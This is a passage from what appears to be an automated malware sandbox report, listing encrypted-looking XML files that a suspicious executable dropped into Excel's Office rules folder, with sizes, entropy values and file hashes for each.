Preview:	<?xml.>X....8..c...XMs....N.06....Zm1..........$EY.3.3....!.<.,....J...Q9...F.._!...{(.....l..Q.{)].X..oo...knR...o.?J. .....&..Q...(...8C].t.0........5...4...sA<.D......uf...^h..3S.y...cz~..:^.B...6.xL..q.z:.j.T.M...:.K.....6oM.v}L...o+......Q^)... t.4w.wGu..:..<.m.up.Rj+.kd....5.>n(..Tx.)KA........y...{....mS\|..y#.....d7n..j....>..J..B.b9....$...o.o.GFe.s.s....G0...H.y.a..e=z.....N.O&......{..4.2..~....%.z~^...L.Z..f...b..5y`G~..x?W..&....x.{..R.....3.+=.9..x.F......W....`wA.9.R.>.y.i..-.J.....o6..B..>..Up.y\|..(}}.l%...l.........+....2...ya-~.......b.6T.../E..Hs..9"W....R..JS......]7]o..)....V..Q..u~..:g.]./w.!}.X....KA{.zh..)....+2S.........V..T.dn.Ez.w...Y.U......u.5)~p%iY..8F.....$.~L......A..........lm.....#.....9......s...4.<W.F..S.VZ.y....6.]..H..q>`&...y.........M:.J}.&..h.:....T..@...J.z..f...q.\|V..U..~g]..W.E..Y.......W..3..p.l.2..QR...\3.b.b.).O>6W......B.Fx..t....\|@e{...6P...Q.(.A....4N....)....r./y>..[p..K.?,=SnR...k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.884076968818832
Encrypted:	false
SSDEEP:	48:wrqPgeylrBDrdsPDUXhU6oObCmieX0vMJD:A0Xu3sPDoycCVeke
MD5:	BD53883948ACDEA4D2A3B2776A51CD15
SHA1:	56402FECA2D2FB2B2D5F88FA625EE25054CD8C51
SHA-256:	E9C78929319F4AD6F7CCD994921632969807A4B9B1F0D6E01BB0262D228ABDC0
SHA-512:	66D3110085EE64A54FD78693BF0B2CF9916FFAC9298356841335CE14AA431BC57541A217AE7F6A92F5D432964100D51311857BC7B105B2DA0F43954B9F46A0F7
Malicious:	false
Preview:	<?xml'!iJ..... ..^(JC...=h-...UO..e.j.@.....\|.#...4....R.(.........!B.A.Y.r7\..<S..d[...=...&6...>_%.............9[.s...U.X.\|R./...Zb....x.6.?....m...X.......DV..o....f.-...~...l.._...L.D.4n.I..R....8!&#..T....0>t..X...[no2j..6..).N.]n."Y.,.......>~.^.....yq...w>p.v^.%r../.-..Z.jN..-..<..5.)..Hf.`2e.8......%.m's6......m...'..V.y..(....g..p..u..T.:....7....^.e)Ua....s..0~ ..p....,....2).g..g.A..]j..5..g&.a.....m\hX.......X..xc.....7S....gU....G.3.[^e...<..>..\|].......=,?.F...U..... .U.[.?.9!...\c................W...b.R.f.z.S...[.J...6c...F.g...~..L.U.......H..k..."...BTRQ..VJ.CuTG.........0..g.\.9.<h.....^.:......[....9.nB.$.n.Q.....q.'.F.-.O<+MqR]..W........._..\|Jb..vm...y.D%=At..!....?. !..l...4..{,9.?!J@(E....[%\|...._...[F...{.J&..:.....M.ZM\.g5...Y..ova.....N...rcz`....+...C.[...B-....7(JY}."......i.^.O..j.(..$.w&.n]n.$.\.......p.T...V{.0q46.501=......'!... .../....1...Ug.7...\...gT...'j.\......(@.....j.%....\.--)......(.G/n>...^P....q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.870610997686652
Encrypted:	false
SSDEEP:	48:CqK30+/yYA2GLqe4MhSgBIALfvCtlR6evBgJ/A4FrrAVJD:CqU1yGGLqejhSgBIALqTRQJ/vFrW
MD5:	383D734595F568619D302BBE461EA510
SHA1:	CEE234197E9623A7700F375544460D2E3D7E5CAC
SHA-256:	766097E37801EE4785F010913D132117C90D87C012F6A58F096A47105030257B
SHA-512:	4710C9D9498280093406ADFB1EB664B9DA247031B752A612D1B36C516151CF8067590C2448A3A9360530D967BC11951CD52C14D2EA32BB9EB7699DE952DA6740
Malicious:	false
Preview:	<?xml..3.k....e.D..9.ur....c...-.Ouh......B...;.._Y...G...&f.>...j.5!u......Ce.D..QMYG`.....?...]...;.'r.g...z.0....Z(Ea\Pl..Y".:.sO.....8.Z..u...r.2m.A..z.\|...0.w.Dx6+)......72..3..$...f..G\S...C4....Q...\|.."7.V.."....K..-..\.T.....`/...pe!.$.>..J..rm.N.cv.e..qX...x$......A.2....R...By;.2....../.Wg..X...M#\.w..9...c.tr....A..'L.}...`.b.......d..q.9`l....5.:..$......u.......?'....l..."d.s..r......c..39...\|.....\|.......(G..0e...[.8.<\|N...;.6<1.OW...pK#..TZ..AM......)..O..T\..b.......}....z...;..e2?Hm.$..f....G....:..v.........^..HE...t.a..<....mZ...h12..=,.1...d.H....LLA.....@.t..<.z.......U..R.P$.A..d.5.$..j.....q..&....B.L..a........%?. :....../.e'..V....qIT....B3.f5............l.....A.^.#.>...GD7....B..3Y@!..r'Usy.............C. ......+._.......v.A.,k.N.k.s..ES.3......{....8^L.......ly.....3^..r..!aP.v...Vc..;_._z..M...<=.k...U.....6;.!....@?..$....`Z..GL...o.p...tE......I.X......H.._.B.1 2..V...I+.0J...Y.U.E H..e..Zr_.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.8811895321972
Encrypted:	false
SSDEEP:	48:RoZNJ+HOLzs81lVnQNFHsNWJTt6J3oPJD:ih+2zsKpuHHJRh
MD5:	79B6E2CD5D5C6DBB90DD332BEE312802
SHA1:	2845D33D2E0AEDB8023D14EFCBD333600278CFE8
SHA-256:	ED95DC2BF7E6E9D35C7ED0B84490A0D89F849B5437996113566A71646B5703DD
SHA-512:	59497C4EE10BC7DF9E18F3E15C3C39B1AC43B024861750A5F074067CDFDD97C59B1CC1EA0B0E3E2DBD09CAAB6C6675E9561072C33E6AFB29D0D1D7050C9D68C8
Malicious:	false
Preview:	<?xml... ."H.Q3C.;@..[G.....u..A'..U.X.D..^..x..0.V.Y.:.M...^.5.......7;R..K..J-!.q-.......\|9m.....R...K..lI.......x.\G...0%.....[_.g.s...-..V..[q~d..6l...FF..~,..N ...^.(..uz..F..O.a.v...>.B/0....x..n........M=)1..Hg....L.C.(.O.i..x.AY..B..0..\..._.E....2....../&.JK.....i.3.....NB."..oQ_s7~..,....5b{... j.....).....C2u.5.v..2...>.<....JS..0..I.J........8..c.T..X..\|..}c...f]...".n.c..'...z#...Z..B...a}...r..".....l.Q.%2...Orq. &...T.@.u.a..H.j-.aq.....v....o....OZb7k.r.=...2...a...$..8...P.......P...^.....X7....@vz5..(pz7.6.t[..L7...B.n..f`#;.u.&5.I5...pG..:+_...p_..>,..."...J9U.3.....u]u.>..M..._C^....i..'p...M.....;..+.,\.V..XEk.a.q..B..Y.s.N.#.... .P....^"y..5..._.........^.............>z........'+f..3+...>@...... ...&f.......O.M.omd.>.E#(..C2..W!N....d..F.......x.4..U.,......M8uh.{..2.....L..!...........m......>..M......`.t#&\|.n>.V.....J./.M.w.v.....h.S.....7j....^...1.>G8<._'g...@..jd4...4..&....K..?%.A....7_#..-..u......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.874034665541011
Encrypted:	false
SSDEEP:	48:eIU+ctbmoR0pjHzRJVuMt/h5vlW31V+UD9ZJD:eIUP4o2BHzI0hFlWX+UDR
MD5:	5705721397C9E1C72EF357FD13D05580
SHA1:	AF274883BE039ECE50A09F38370A3EAA4637F3ED
SHA-256:	B0DC323FDF79896D7C913CFB4CC805790C6C9C39B5C8B88B1FAB5D9D7503E889
SHA-512:	65F76FFFCC25D6BA0F2F15010593AD63D67340E2BC5B9E27218812E4ECE643C5C8F08FA885EE181FDD2FD45D4793E5712B1D623DB63EF432D7CE7AA5E24AD048
Malicious:	false
Preview:	<?xml.E..'.,c<.vKU....y[m Q...............[...}...L.g.>w..s.......@0.....8..E3#..!g&.nV!............@r.4.cht..]y.w......Q.}mn...F0f........1.Q..]...wT.i...g....i.u{.......v.........t .I...Ha6..p..3$...'.2g...P...O.j@..bC9I...d..Kn.i...WP.....~...p...e........kE...IaW.....l G....4u.~$4....B....;..W.[....M..5s[.s._..jN?..^.c..$.d.%s...-i..#'@W^jK....h.yj.q.Q8...D..W+#.`5.k..."...E.....M.t..:.......tc.`.p.D....>-../.....&..4.,..Hk...3d.x.YZ#.l....V.....L..p.....l2.....Q...3.....,.D..E..[.^.u.2.Grr.q..$...qxO....l..........e...!(.C.X....T%"....F..?7....x.9...e..Y..x..vM.z...F.i.......'.mTwb.K.>..Qt..b.IeUjO.....-.'WU...310]..,..\..`.,.q..aZI...9..X....L..j..K.w....1..N.1...M.'Nn.kj....L7.l......F.?~..DQ2.k...u.k..$h...oX....W?2..q..U.....g.>......bH.#\|."i.?8LA..Go...h.Q0.y\|.:.X.......(:.`..\|.~a.U..\|LL4.Ug@.H.p.N.m..(.S...V.....6.B...g8..x.m.`...@.9t.!$?......y..~.c.HZ$.....>.&.S`...t..._.~.;I.b..U..]..sp. #..)...J...\).X....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.901066922689079
Encrypted:	false
SSDEEP:	24:zh8MyOYurxJ0fYq8g6tzPRxWFOIcUGYYzo3kGB94O69du+fv/OiNbnkxfV9pbD:zh85YqtUPWtDGYpRBOO4durSUHJD
MD5:	382D0A7D2685D6EDA90243AF9AC2122E
SHA1:	E4F4844083FB3AF0888EAD20FDACE0BF75C7E05B
SHA-256:	AA5CCC5046ACD3FC1EB85B438B4A6E4018229C233FF07348A08C8AB4697A6665
SHA-512:	BF6082353C7F632C230F9E12EAA42821F82374E63F45D556D3901FB83229964DA54F9A4489B050589A637514D4A0A2971570D406CB9DE1EA2E6727CDE0AF0C07
Malicious:	false
Preview:	<?xml...!.......(.......#....._....u...G....tv...w(.x.tJ..V...y.&c.G.....S.\@%cWUv..o.r.)J..gb.u....r.g.e...N...B..b.....j....%..].....j........`ds..=Ax..sWOH.6p....$$0.Z.v..A.&.!...@zb......R......U....5.aC...%...ABc...SA-wi..%.k9";bF....j..S..t.9.J..v.."...=.>.c$.BF.....!.-......T......Fe.4E...pa.#.&....I.........d.Q..%'>.v..........]..h&.d.Xq.O#^..P].o.dFI..y.....1..x.....'.q......W...Og..d...d.(.{....i.L..?..H..C..k.,#..Ak:.....v.a..S,M...q....mkq.q}2.6{.D............Rx.........Ck...8...fU..eo..c.-.........r........u../...C.(../Y2y8Y....\.l..2/....(.....C"...ZW...J.S.[g......%....L.msNFR...9>..X.#..\...`. ..]..\..T[q.....~.\|VQ.&..f..}..0.%.a.J..7y.........\u.T.k..j7..T.r....P..c.......T{.]...'x..4......7y...E.Y,6..-......o..V.....H:.+..'V+........t.X.e..U.lx......}.F.z.......L......\|o.........>..w...{.Y.;.'^...ao.E...O)...N....O...QF.HK./\..y!,eA..y%1Bm...B0.K..!`.....C]k>.m...3.K..~1....".GXq........iz.Ep^.\|.Qv..........Dm^t.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.897927689798247
Encrypted:	false
SSDEEP:	48:1rYMjkR1tamuechI7C9rK0x9J/QJFVkA8eMQ4/hJD:17YRna7ec8GK09Jk8eMN/z
MD5:	D94DAD91BF503CA5B959666E104F7FF7
SHA1:	2C3DF5FBE9574EEE54C16B6F429DA4F08B2F0A78
SHA-256:	EA5C3EC8686BCC97F420ECA8463403D3B7EE9B7506FD5F8E488F1D0979A459B1
SHA-512:	87DFA992C5DD83BCEF85EB1F2AFB9781716355B5D71A7F31B859034147C806B5023906F79A45FFEA39263BB863BF7EF7EC2B7C18015BB0F2EAA661A38325357F
Malicious:	false
Preview:	<?xml..y..'x<.......~A.g4.W..rE....[.....18l2V.....8ML%./..;$.F.m.{.x.._.uD.Ad(}.{HA+..29..'..S...(....Vn.3..a....d..>5 ......R.lb.,..{......O.6'.:eVk<...._. .)..c..@.5gD..S..(....iax!&.. ..!.2....Te5....L..W..%Ew.P.P.i.2.x..>...g..7_0....E.c.....MmF...o..pG....)......SY........5.N.v.o..,..T._.].^.BE\|......d..n\.@.a...V.C...m..u.r ...t.`.4Up..x.]4...ZV..b..K@.rE4.."...k,.....OE.&.......V...~..5y.....i...f(Eo..../....ZZH....dTGJ.Z8;D...A..G.G....z%...w..)..&..\|.-Y+.......n.Z.6..!........>n....,.ue..U....T.]Qix]R.8.A...I..=..\|..3.s..q........Z.~.;.1..cs..#.V. ...9..(..K.r..W...UNF?...u.o..'......G.y.......`..#.>$$.cT.....b.p)..K.K.....rr\...l.1.~!....u......]Wm...~.5.I......bQ../..M%../......../a........-.....-.'.PQ`\.Z....S.......,h...a.`tQA..^K&.J.N._..Xe..Ym.+......4....(....%.$X......]O.HlPh.....s_w....Mr...#...BX3.\|....q~8...4.......(..y....g..m.....%j...8\..4E.:..'............_.,......"....B..k.A."I...;.O.v....&p8&M._b.?*.N...I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.881020340026925
Encrypted:	false
SSDEEP:	24:313TV0Opi3hmB7a+8hSf6C1YE0hbOM8HU0W6DPpj5vCdYWO4Lj5iXNk9pbD:3RuOch+2N8G2H/rzETj5id6JD
MD5:	526096EB07594840DB2163A9AD20949E
SHA1:	CA4A4B017D355D9724F8E00B552A18625EDE946D
SHA-256:	D25D0106C4BC835FCB4D8F29568156B4404BAB50C38E7FF1F4E328353FC6CFEA
SHA-512:	F3EC6031420B189476E4D2415965905265CEA8AAAA286E42CB723E5185F7D8AE1D4291D981A2D682EC2CCD87069107174BD3F278F90D6B819AEDE6EEE240A20A
Malicious:	false
Preview:	<?xml....M....F..R.E.....s...3.....w.....>0oS....$3....$.j.=.M.1(..7..@p."...#p......Q$T...pl..q.N.}.e.<..$.69..2,........@.-MB.......~a..A.W}]m.=b.l..j.v^.vx..3_A...-@..L..\V..]..LZ.\...-i.........O6..y.Y+X...i.Z4......_...>:{s..$.:.:8!.1..\|..(......p..z+.c"..S9;...t.X.C......q.......:......u.t...@....U.=.>7...?X9..75&K`qE.....z..z..L.. $..\|.a...8i.z2.epC..h.......&.k.^.+.5.:j.57..j)...9EPN.Q..Kn.....N{.h$A.$..jF...Ht..n.{....<.&...m..V.J...4.....z..TN...u..^.Sa..1..ng <q..(..W..7.ot.60....U...0..T.5(...UbF2...YO...0^.....9W..:7.N...s`.b.2.!6v{.VY..,.U6....4K.}...mv.)x..-..mT...XU]BY.rrpR..&C...S..p.=D.........]...F....2..1f.$..9......m...hj.w....L."......s.[.......W...G"s1.W.E.~..:.a.9....a.d.e..u....d[.f=5x..!...F..M...!.k.Q..w"..!=.X~........M.:.1=[{...lO......#8..:.Z..HRM..E.B.....~.C..E\|.(.-.@q].B...0P...1.h.]\|....-.&-.x?-..u.k.z...1P.. ~...@.;y......]s9..x.G .....<.....uiD .kl................3....kZw.*ggl..pyYT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.884628097235498
Encrypted:	false
SSDEEP:	48:NvnPjFz3vdmMjsTTGxUjPphf4SSzFQnxOkNJD:NfPj1/dmMjsecPp+5nkn
MD5:	C099B514DB92C36B1FA6E75CC51C0521
SHA1:	B5064093C24C34EDC6883657D69464D9CFFA3BBC
SHA-256:	3EA2911FE6C3AE676B9CFD1F1943247B6A9081AF4CDBDA69C88603BA2D57A5D6
SHA-512:	DA40AEE023A08FE5A3BFE22691F89DEC2CB29296D583826D1C365CDC2EFED1A607E1FB33AEFF50EECD5D7E888EE59032B368D616705A578EAEB65753CEC60797
Malicious:	false
Preview:	<?xml#/.....H..U6AN3.6.Q...DV..Ku....d$d.....AD..u.O....r..u.f.l.[\]w./.>e.....`....=.@.Ei.GHl...9.....Lj.%....k..5o\.P4Q..b..lN...7~{.[~a.......$Q......t.....S.'.9O....k...q..%9B.Ie.\,x.....3A.\|Ns.F.=...I\|..b..A.K\|U......q..P..J......E..>.s.k...nR.....~.;.g4.(.....w...qdT.0......l..... ...$..!\.TA.....`....u<$\S.IJ.5.+....S..%Z.g..f...[R.F.]..Xv.Ux.uE......~...;.U(H3f......h3]G.B./.~R../.J.'....,;....i....M..-;B\d.i..>.fv...`......>....w....)Lm7..U(\|.."."".S.q.=.^..F"#.T...V,..r....Y...9CB.&n.sV....ev........+..0t...;i....L.......@...P.........$.?h,..'...El\|T..~n..mZ:0..].O.p..V.........DC..o... .HS0....O6#......V.+.J..\|......Ne...(~Z...9.._........9KQ.z..0..[V.3..Q.%f...GX...;.....O..Q.(...i.A....b....D.q5......(.T.2.G..2.eK:...j.Wo...b..}t....f.mJ.X7@{..!.h..~....Xy.r`..Y..{.6.... yO...... ...Q..:P...Ct..eO.......D.).c.O...q......F..:....w...Rq......P..sP.=..../...h.E...Pb..t......p;uf3..k...:8...........2-.../.......d.\|.x..1I.)R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.881457925290534
Encrypted:	false
SSDEEP:	48:ATau+RMTR3HuPr8y93n6KAZAe3XZSevPHJD:dupZ8r8MAZAe44PB
MD5:	4D1568508682611334914A4243A6C0EE
SHA1:	3003392BF2CEDEAB837D1DF9DE401688C1DF8B88
SHA-256:	9BCD267908218634A4EF60585D1E156865C6095108F338DACA2A1A277C551E7A
SHA-512:	76B1F337913D56A7030D2FF3C03C6BB671C3BE46E62E4BCD1E5AADAC632AF67AA5B1B7F5AEBC061923E53B7B668658D6815A9335DFCA63D13498B2018FBD99BD
Malicious:	false
Preview:	<?xml}....6.L.;....0........7(Y...EX......g...}.....Bk...'i8..b...W5.QY....O./.5D.j.VF..7..7.....:..H..LB+...ni..n!...x.V.zG.n..Z@...MI.A'.3..b.<.N.;w...y.;BNz.'..k..+..(.it......8R..y...4.s,vA.T.]P.O...G...[.....]..Oa.AM~p..;.]..F..<........Bh.....{E.:.F{........A..lZ...:Q.J...o.....u....$.....X.+?.'.6....L...)7.../.7..e.M3R.....l.:. .w]K....}C...!te.^p......_lt..@S....\~..`Xf.....\|..]\.E.....BuA...0..&/...0...6+.....\..P@s.t...........#h]..M...\|....._`.,T.8.zg..[9....Z.\|..H...%P#a....qP...{.[%{i.w&N\|8_.....2V..8.PJB.#.U..$.o...b...._..!5..~..o.....}z.6.._.-..K.k.a...J.....b3#..;}.O..).Wzv..;..f.............`t...}j}.g...yc................/.P.._;B.:....r% .........W..~X.......K..1.R..d.h..1.(]..'.){g ....1.N"W.;.Z.T.)=..F..c..i.u}&."V5..:@..j...LDZ..(t8......Fo..T..)....j.,....v.#.......o.....e.....\WI..."..pzn..x.@C...SSX5. ....p......f.C.V.".1...E.&...R.=.U._zn\......?_....B.....r...k.`..q...D.....(....L.[.O..P..50!uEx....m.. m@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.886858628259299
Encrypted:	false
SSDEEP:	48:GWrkiARKsjgBue/QltVh20CHy+82zXWbqFxJD:d4iNsque/kmYoWqD
MD5:	413E84FF13FEF05CE2DB9052E2884586
SHA1:	08C78F5BF1AB2F0AAEF77E652C43C3B99B99DCA6
SHA-256:	DBAE47E3BC64F52A8BF97CE67F7F35D40EC99B556CF7DCD1C2C1E1771A9E9385
SHA-512:	A9035679DC06A36DFB86480314A41BA4E9B1CD3E0F8A5053A9C900DB5A3FB4FC6915F50BFF3CF0E49FBCB1AFBEA1A5FE42C59519BEBCCF14B43631C215BC70D9
Malicious:	false
Preview:	<?xml%.W.H.S.<..w.(.B.g.......t.$T.:1..!.....P..l[.c1.Y...U...../{......$B.%.x7GE.XS.u..C,.y...D\+....~.. s"...Y..:va....j.}...W..>}lc...=...Q.m...l....Gg.oPeH..u...8.F.1.ry......Ww,..i..s,.$...h....9/F?.d...D5.uR.c....!<U...<P+N...p.{..@.S..`......:...`.fE....v2"...<0.q.D......:3.....X+....%f....~...m.......9.:.J.2..}../..^.....:.7.G.l...y.}.>...E.E.S..i.m!.....g...<.Z{M.j.=1.Y@N.m..Ge.8...Y.5.~`..b@B..W..0X...8>9.4..x.gP..." ....t....f.k...\....._f..:...b..T......\|?AjE...$)...Q..........._Dc.=.~....S..).BE:.4....R..v"hHQ<.(.......Z.~...F..9.....m..(.Jn..7..@......."12.....o../..=...t....!....S&c2W.E..Jkl.0).,I.....`....:.d%..4.....,...fC=..z.....!Jx'.KQ.N^oQKkL....eq.(.......(x.R..+.......(.U..=.yw..p.Zh....7jn..Yi.......e..N.)......U....X...;.>.'.f.y!HM[?...]..\|F.{z...x%.]..C.fv....fo.k.....9.....{..e...1$.."......[1....,N.E.m.Y..qQ~.6....}...u.Y<.Z..\|..\|....a.......J....h....(\|....zt..........nR....)...'M.%..V....M.v....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.887203764303918
Encrypted:	false
SSDEEP:	48:gw3dispyxQU86igrIW50fZ9VGXY/n5m+evOr2iJD:bospyxQUtii7YZ9D/5m+x
MD5:	B325DA75EAEFE63486A6BBC1EF28B345
SHA1:	07572C8263EEA840A867549D7417F3CACD2FAE8F
SHA-256:	60333535546983FEBDFDE17CD25C2AA1AF5B51ED2C6630A09B3D37963E4F3918
SHA-512:	52445BEB550818D1DD025C9F6D4725676FE5FD0CDF63AB99596718880ABF200A3897F9BEEACC8B35EC69E4EEBA5A07AEF6C737DC1575E02A434D3C7C93D2391A
Malicious:	false
Preview:	<?xml....}w...{.j.G'.f....FPI..5]...D..6 .m.OdG...."C.~!0>[.<..3s.&..Y....,".^4.....`.L.u...x..?.P\|.#. $.......Q...ge...W...e7y.K.'3..f.. .1...1.7.......k...*`.........>h..w....,..^.0....4dl.3.6....B.,...L..K....S....~DpJ.]tq.J.5...Wb.D5.t#.....[....7..\|..b....).n.....W....h-[.UR\..P.:...j.f..:.... U5.!..)._.z......<3x^dK.jw.C...8[#........g.o....n..C..y6....TS.P.O.O.gx.4...b.g.r.YAJ...Q..h..J.,..\|.5....i.@..S.V.$..1.^A.=.F..,.d...?..d4....m"..MCi.z~..[.5.r<.N......RP..b].7U....:....#`I........@..M..X..P%(3.p.n~;3.(U..=.fvYWO..d%.a-.;!..W.t.8.."x.Z..?u..%>N.......v....."...[.Y9w.y....c\|..4....x.@.ie...<.&...=.]0.9.6.S....s..\|..tZ..<..\|....`3............,.T...So.)...c^...=......^.z.c.{.I......f..d>.u..\|...r........QK,..".........q<._.."..r.`@...>,h..\......gh.?{.\|r..<n/1K.g..s......m.AfZ..\.~..jv........h4.O.P..r.O./..........k...u.A\..$....c.].=`..Q..0Ki..I....}....]...n..3...............;...kp..ryZ.'.z....)'...(..P........Vv.#..".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.878261778138642
Encrypted:	false
SSDEEP:	48:AriVqpI8wXz064DWmZ8P1coTXDt4zGjyXL05JD:AeV4IbQFZGzLjyXY
MD5:	3B1414ABB732F01B8297B05BE6483325
SHA1:	FBB448DBFCEA62E17741498CDA504FAA2293FC3B
SHA-256:	F2EC10CAA01C18EFDFB3EEECF33D9BB4B5CA4A81FE8971B33C10543E31E3B71B
SHA-512:	4CFDDE25072F2A16ECAD7033231D4396A33344C07A339A54CD1EF8823C93E19587F3B2E78B55C083E62304C082B84EBDA24D6073C77AC966CDFD5EE028BC84F0
Malicious:	false
Preview:	<?xml.y..!.@ULVE?...{.....).J...:......\N....].NV..OX.g..14e-....B=)....\~...\|..#Aw...p..q.%.]......"....F......1...zNQ}.....c..7. ..'h.9....O.Ea.'...P.{{.....8_$.E.D....7'.O.."8.M8..,.......@..Q.y..m....k'..lK.UD,.PcW.K]....rt!.....q1....TG.o...ksV.p..a...osG..p>...-6..o.lj...zp.<,...JBb...g\..h#.S.....Gut..q..:e7..&.1..n....o.ZN.;j.......S.,6f.4B..OaD.......9r....{ZCQ...{.....~..p.8..,UR......&...B.%.u...U.G.6.\G..`...mMNr..>I..z.V$......7./^.b...7Bw<.37T......$...X1"@%0j...'n....ek.\`x.+....UK8..i.+{...R=.%.p]...../.i>y.P!.~.......V.^"pk..L...E1..h...gIZ.!;..#x.Q..!.z.e..vg.P........'.o.} i.p....#...W....]..uc./.5U.W&..0r....f.g......0.#B./.3M.l63..@..'Mj.A$.(.#....R..D..6...Y..H..z.....l......CK.wt.S..%-.z.?C1J.p..6...71Id.O.-+/........\q....... .M.vH....n8#......O(jNdp9:z9.....`....D._..x......8....+.E.....i......@..J...uc.....m\|..*!.T.h....c....R:.._....kG1XD.n.T.p..G.P...r(k...&..P.,\..xE"c...)8...9....[.o.-.c..Q.=:.u.\|l.b...}}wg..,...m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.871352361449202
Encrypted:	false
SSDEEP:	24:Q74f5ltQCSt1Cg0/bDIk7FV9m6GjYjhzJcB4ufqu+G8ps7hWYY8/Q6DHcQytJuUF:Hl8jIbDJH951FQfq7/aAqBDHetMUGCJD
MD5:	7044A8DFCF33ED4913677485B97872A5
SHA1:	4D1C3361F33ACBDF999A51ECD3B0106E6624F558
SHA-256:	89E1339898CEC72AEB13C259F372BD6AEF2CAC884D3EA6E8A4E29C42D7B53A84
SHA-512:	D6CD2CF366442A3C10FA75DFC569E977C747647432EEDBDC0F1C2F91C616C026DA1070C0F5B897864606FD05E4058FC7860103B23A26BFA3360B2B68D2FEC5C9
Malicious:	false
Preview:	<?xml....P...rV..<W.x8 @Zj.h...G...lo-(^.u..)...h...!. ..Q.k.}..'ZK..Y+n.'.a....?7M...5y..SB'.sHw..q.iM.s..\..t.3..hc.2..R&.U.Z.{..[x.h<...M.A...c....3.9).I...?-)..YkR."h..+..hF.^...g.K?!@._.U......W~o6O}}%j.3..Q..+....h.e.<\|..X.E.Z...F#.8Z....a.p..io.U.`......&..w.5@V..M.......5U.1q.%099.....Qh!0..(#.I..].@u.f......Dqe.X..O>...A.<6.&.'l&..vZ...l..B!.k..'..]..).......Ph...K.....{.;.g.5p..x..B...^8'i.~.....1..~.Wc...9..D.L.b..ed..z...<..vO...@1.2.]onHc... c.I.[4<P...JF.............q.!...w.s<K.k..fq.!-....?.....tr.:.8.L~..r(...2@./....U....U.\5.r.../.y.=..\zd........a.yp.B..2.y.T.............c.:dk...fX.J....n.H.!..0...B.$_.B.#G.U.!..R......P.s.....'6..Y...{....7.u...5......k.F..Jpu....f.B...,.yq....E%ydnE..O{.$tN........GN)!....&+...^.....$.P)x.@P.ja9C...`M....=7.e....;&..C.S3..;.Z...b.{.}.s.;233...XW.uF.y.....<y1n%.!..8.`F)..}A.WF#.@u[....TS.}.:..P.P...>._...5.d.....i..........(>c.....$xJy7..SM...B.#..q...?m>...<...o.w2g.B.p..6/..^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.864463723130757
Encrypted:	false
SSDEEP:	24:RjZhRyLmgYaz1nxpx9mMYnizrfSTPc7dHKWFtMJME9Lc+tfola7Jf6F0TxZDgbO4:9ZhRoaapbmMYZ6wLjgla7W0LgMKqEJD
MD5:	31504AA833E009574F4951FD4360382B
SHA1:	458E16FCDD6E17DD79C188D9DB4524F08F0BD99E
SHA-256:	96746D711E0B3BC2211DC7C0EA1853E48046342DB653FBC0714C6330EFA92321
SHA-512:	3967341C8884699336BA47D62FF2ED451610C1AC921222E65796C1ACF5A26B34221A923C336218012813B88E4CDF442A6FC053252D709A3E8DD06AE89440AC4B
Malicious:	false
